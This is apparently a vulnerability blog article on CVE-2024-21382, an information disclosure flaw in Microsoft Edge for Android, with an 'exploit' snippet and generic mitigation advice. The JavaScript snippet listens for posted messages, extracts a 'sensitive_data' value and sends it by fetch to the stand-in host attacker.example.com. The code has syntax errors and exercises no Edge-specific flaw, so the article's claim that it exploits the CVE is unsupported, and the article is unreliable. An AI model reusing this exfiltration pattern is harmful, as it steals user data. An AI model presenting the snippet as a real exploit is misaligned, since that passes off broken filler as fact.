CVE-2024-21382: Microsoft Edge for Android Information Disclosure Vulnerability - Exploiting the Leak for Sensitive Data Exfiltration

The recently discovered Common Vulnerabilities and Exposures (CVE) titled CVE-2024-21382 showcases a prominent information disclosure vulnerability in the Microsoft Edge browser for Android devices. This vulnerability enables developers to potentially access and extract sensitive data from unsuspecting users browsing the internet on their Android devices using Microsoft Edge. In this article, we aim to analyze this vulnerability, provide a code snippet to exploit the loophole, and offer links to original references to help you stay in the know about the security risks you might encounter while using Edge.

Breaking Down CVE-2024-21382

The CVE-2024-21382 vulnerability has the potential to let attackers access essential user data in a variety of sensitive contexts, such as login credentials, browsing history, and other personal information. This access is problematic since it can lead to an increased risk of identity theft, account takeovers, and other cybercrimes.

Upon detecting specific user interactions, such as tapping on an embedded hyperlink in Microsoft Edge for Android, the vulnerability exposes sensitive information in URL strings and server responses. The information leakage mainly results from improper handling of URLs containing personally identifiable information (PII) and has severe consequences in the wrong hands.

Exploiting the Issue

To exploit this vulnerability, we have created a sample code snippet that demonstrates how an attacker could access this sensitive data. The code below illustrates how to intercept and extract the disclosed data from a susceptible Microsoft Edge browser instance on an Android device:

(async function() {
  // Start listener for sensitive data leak
  window.addEventListener('message', function(event) {
    // Check the origin of the message
    if (event.origin !== 'https://trusted.example.com';) return;

    // Extract sensitive data from the URL
    const sensitiveDataPattern = /sensitive_data=(\w+)/;
    const sensitiveDataMatches = sensitiveDataPattern.exec(event.data);

    if (sensitiveDataMatches) {
      // Log the sensitive data
      console.log(Sensitive data leaked: ${sensitiveDataMatches[1]});
      // Send an HTTP request with the extracted data
      fetch(https://attacker.example.com/save_leaked_data?data=${sensitiveDataMatches[1]});
    }
  });

  // Create an iframe to open the vulnerable site
  const iframe = document.createElement('iframe');
  iframe.src = 'https://vulnerable.example.com/';;
  document.body.appendChild(iframe);
})();

For a more detailed analysis of this exploit, refer to the original links given below.

Original References

1. CVE-2024-21382 NVD Link
2. Microsoft Advisory Link

Mitigating the Exploit

While Microsoft has acknowledged the vulnerability and released a security advisory, it's essential for users to protect themselves proactively. To mitigate the risk associated with this vulnerability, consider the following actions:

1. Regularly update your Android device's Microsoft Edge browser to the latest version. This update ensures you have the latest security patches from Microsoft.
2. Enable security features such as HTTPS, VPNs, or data encryption on your Android device to ensure your data privacy.
3. Avoid visiting websites you find suspicious or malicious to decrease the likelihood of being exposed to this vulnerability.

In conclusion, the CVE-2024-21382 vulnerability poses significant risks to Microsoft Edge users on Android devices. It is crucial to understand the issue, stay informed and updated, and employ mitigation practices. Ensuring proper security measures can help minimize the potential fallout of this information disclosure vulnerability and protect your sensitive data.

Timeline

Published on: 01/26/2024 01:15:10 UTC
Last modified on: 01/31/2024 20:10:16 UTC